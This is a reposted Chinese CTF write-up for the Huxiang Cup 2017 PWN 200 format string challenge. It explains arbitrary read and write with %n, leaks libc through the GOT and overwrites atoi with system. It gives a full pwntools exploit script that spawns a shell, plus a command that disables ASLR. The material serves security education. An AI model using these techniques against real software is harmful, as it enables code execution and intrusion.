linux调用system参数格式化,湖湘杯2017 PWN 200格式化字符串漏洞详细WriteUp

转载

weixin_35948624 于 2021-05-12 15:34:39 发布 43 收藏
文章标签： linux调用system参数格式化

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

格式化字符串漏洞原理

pwn题中，有形如下述代码的形式就是格式化字符串漏洞char str[100];

scarf("%s",str);

printf(str)

也许使用者的目的只是直接输出字符串，但是这段字符串来源于可控的输入，就造成了漏洞。

示例程序如下

编译：gcc -m32 -o str str.c输入%2$x

原因是如果直接printf("占位符")这种形式，就会把栈上的偏移当做数据输出出来。通过构造格式化串，就可以实现任意地址读和任意地址写。

任意地址读

事实上，我们在scanf(或者read)来输入字符串的时候，字符串就已经在栈中了，如图，可以看出偏移为6。如果我们构造出addr(4字节)%6$s，就能读取这个地址的值了。

我们尝试一下，输入AAAA%6$s，当然不可能真的读到地址为41414141的内存值，不过从下图我框起来的内容就知道，如果我们输入一个合法的值，就可以读了。

任意地址写

和上面的任意地址读是同理的，只不过利用了格式化字符串的一个比较冷门的特性，%n。

这个占位符可以把它前面输出的字符的数量，写入指定的地址。

比如printf("abc%n", &val);

val的值就被改变为3，我们一般都用pwntools自带的fmt_str来生成格式化串fmt_str(offset,size,addr,target)offset表示要覆盖的地址最初的偏移

size表示机器字长

addr表示将要覆盖的地址

target表示我们要覆盖为的目的变量值

赛题链接

打开IDA跟入调试

 形如char buf[100]

scanf("%s",buf);

printf(buf);

找到格式化字符串漏洞

利用漏洞

checksec查看保护

tips1查看本机ASLR

so地址变动，确定本机开启了aslr关闭ASLRecho 0 > /proc/sys/kernel/randomize_va_space确认关闭

利用思路printf(&buf);

puts("GET YOUR AGE:\n");

read(0, &buf, 0x40u);

if (atoi(&buf) > 60)

puts("OLD MEN!\n");

看到printf(&buf)之后read(buf)atoi(buf)所以我们的思路就是：利用格式化字符串漏洞的任意地址读，先leak出puts函数的地址puts_addr。利用格式化字符串漏洞的任意地址写，去将atoi函数在got.plt表中的地址改为system函数的地址，然后通过read去控制buf，传入"/bin/sh"，构造出system("bin/sh"),获取shell。关于覆盖got表，不知道为什么的话，参考下面的文章。 https://www.jianshu.com/p/0ac63c3744ddhttp://rickgray.me/use-gdb-to-study-got-and-plt

leak出puts函数的地址

在gdb中调试(这里我使用了gef插件)，可以看出地址在7个参数(仔细分析一下AAAA%7$x，把AAAA换掉就是地址，把%x换成%s就可以打印出内容)

计算system地址

libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)

覆盖got表中atoi的内容为system地址

原理printf("abc%nabc\n", &val);

printf("val = %d\n", val);

输出为abcabc

val = 3

之前我们已经调试过了"AAAA"就在第7个参数，所以只需构造{addr}{适当的写入值}{%7$n}即可。

这里pwntools提供了fmtstr_payload函数来自动生成格式化串。fmtstr_payload(参数偏移,{xxx_got_addr: system_addr})

getshell

```
exp# coding:utf-8
from pwn import *
elf = ELF('pwne')
# conn=remote('ip',port)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc=ELF('libc.so.6')
p = process('./pwne')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(p32(elf.got['puts']) + '%7$s')
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# print u32(put_addr)
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(fmtstr_payload(7, {atoi_got_addr: system_addr}))
```

p.recvuntil('GET YOUR AGE:\n\n')

p.sendline('/bin/sh\x00')

p.interactive()

总结

在CTF中，一般使用格式化字符串漏洞的任意地址读来leak出某函数的got表地址，然后计算出system的地址。

再通过任意地址写的功能，来覆盖got表，从而调用system('bin/sh')来getshell。

*本文作者：Sakura_zero，转载请注明来自reeBuf.COM